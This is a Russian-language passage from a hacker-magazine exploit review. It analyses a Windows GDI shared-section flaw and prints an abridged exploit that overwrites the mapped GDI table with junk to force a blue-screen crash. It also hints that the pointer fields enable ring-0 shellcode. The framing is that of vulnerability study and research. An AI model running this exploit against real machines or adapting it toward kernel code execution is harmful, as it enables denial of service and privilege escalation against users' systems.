Обзор эксплойтов Крис Касперски Хакер, номер #096, стр. 096-060-5 Самое простое (но не самое умное), что можно сделать, - это загадить GDI-секцию всяким мусором, и тогда система немедленно рухнет, высвечивая знаменитый голубой экран. Однако при желании можно пойти дальше и передать управление на свой shell-код, выполняющийся в нулевом кольце. Рассмотрим структуру GDITableEntry, совокупность которых и образует GDI-секцию, подлежащую хаку: Структура GDITableEntry typedef struct { DWORD pKernelInfo; WORD ProcessID; WORD _nCount; WORD nUpper; WORD nType; DWORD pUserInfo; } GDITableEntry; Мы видим пару интригующих нас элементов - pUserInfo и pKernelInfo, представляющих собой указатели на пользовательские данные и данные режима ядра соответственно. Вот они-то и дают ключ к воздействую на память ядра из прикладного адресного пространства. Но прежде чем двигаться дальше, изучим код exploit'а, имеющийся в нашем распоряжении и вызывающий BSOD. Для наглядности (и экономии бумажного пространства) он приведен со значительными сокращениями, акцентирующими алгоритм его работы и отправляющими все несущественные мелочи в /dev/null. Exploit от Argeniss Research Team в сокращенном варианте typedef struct _SECTION_BASIC_INFORMATION { ULONG d000; ULONG SectionAttributes; LARGE_INTEGER SectionSize; } SECTION_BASIC_INFORMATION; // объявляем функцию обратного вызова для NtQuerySection typedef DWORD (CALLBACK* NTQUERYSECTION) (HANDLE, DWORD, PVOID,DWORD,DWORD*); int main(int argc, char* argv[]) { HANDLE hMapFile = 0x10; // дескриптор мап-файла // вызываем CreateWindow, чтобы система создала GDI-секцию // в адресном пространстве нашего процесса hWin = CreateWindow(0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0); while(!lpMapAddress) { hMapFile = hMapFile+1; lpMapAddress=MapViewOfFile(hMapFile,FILE_MAP_ALL_ACCESS,0,0,0); } // перечисляем все секции нашего процесса NtQuerySect=GetProcAddress(LoadLibrary("Ntdll.dll"),"NtQuerySection"); NtQuerySection(hMapFile, 0, &buff, sizeof(buff), 0); gdiTable = (GDITableEntry*)lpMapAddress; // записываем в GDI-table всякий мусор for (i=0;i<buff.SectionSize.QuadPart ;i+=sizeof(GDITableEntry)) { gdiTable->_nCount = 0x5858; gdiTable->nType = 0x5858; gdiTable->nUpper = 0x5858; gdiTable->ProcessID = 0x5858; gdiTable->pKernelInfo = 0x58585858; gdiTable->pUserInfo = 0x58585858; gdiTable++; } } Компилируем его и запускаем на выполнение (лучше на виртуальной машине, чтобы в случае чего не порушить основную систему), предварительно переключив ее в режим сохранения полного дампа (Мой компьютер -> Свойства -> Дополнительно -> Загрузка и восстановление -> Запись отладочной информации -> Полный дамп памяти). Говорим «ОК» и перезагружаемся. Запускаем ранее откомпилированный exploit. Если все прошло успешно, то через несколько секунд система падает в голубой экран. Обладая дампом памяти, мы сможем разобраться, в каком именно месте происходит исключение, как обрабатываются указатели и что необходимо предпринять для подготовки shell-кода к засылке и выполнению. |